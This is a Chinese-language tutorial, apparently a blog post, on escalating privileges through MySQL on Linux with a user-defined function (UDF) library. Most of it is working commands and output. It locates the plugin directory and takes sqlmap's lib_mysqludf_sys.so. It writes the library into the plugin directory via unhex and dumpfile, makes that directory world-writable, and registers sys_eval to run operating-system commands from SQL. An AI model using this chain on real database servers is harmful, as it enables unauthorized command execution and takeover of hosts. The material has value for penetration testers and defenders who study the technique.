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Linux利用UDF库实现Mysql提权

更新时间:2020-04-27 13:40:01 作者:startmvc
环境:os:linux(bt5) database:mysql 简述:通过自定义库函数来实现执行任意的程序,这里

环境:
os:linux(bt5)
 
database:mysql
 
简述:
通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。
 
要求:
 在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;
 
过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令

1,得到插件库路径


mysql> show variables like "%plugin%";
+---------------+-----------------------+
| Variable_name | Value |
+---------------+-----------------------+
| plugin_dir | /usr/lib/mysql/plugin |
+---------------+-----------------------+
1 row in set (0.00 sec)

2,找对应操作系统的udf库文件
因为自己测试,看了下自己系统的版本,64位
 


root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

 
对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可


root@bt:/pentest/database/sqlmap/udf/mysql# ls
linux windows
root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls
32 64
root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so

3,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过
 


mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
Query OK, 1 row affected (0.04 sec)

 
因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限
 
root@bt:~# chmod 777 /usr/lib/mysql/plugin
 
数据库中写入udf库到mysql库目录:
 


mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.04 sec)

 
查看下这个udf库所支持的函数


root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so
 w _Jv_RegisterClasses
0000000000201788 A __bss_start
 w __cxa_finalize
 w __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _init
 U fgets
 U fork
 U free
 U getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
 U malloc
 U mmap
 U pclose
 U popen
 U realloc
 U setenv
 U strcpy
 U strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
 U sysconf
 U system
 U waitpid

最后,加载函数并执行:


mysql> create function sys_eval returns string soname "mysqludf.so";
Query OK, 0 rows affected (0.14 sec)
 
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.04 sec)
 
mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name | ret | dl | type |
+----------+-----+-------------+----------+
| sys_eval | 0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set

Linux mysql提权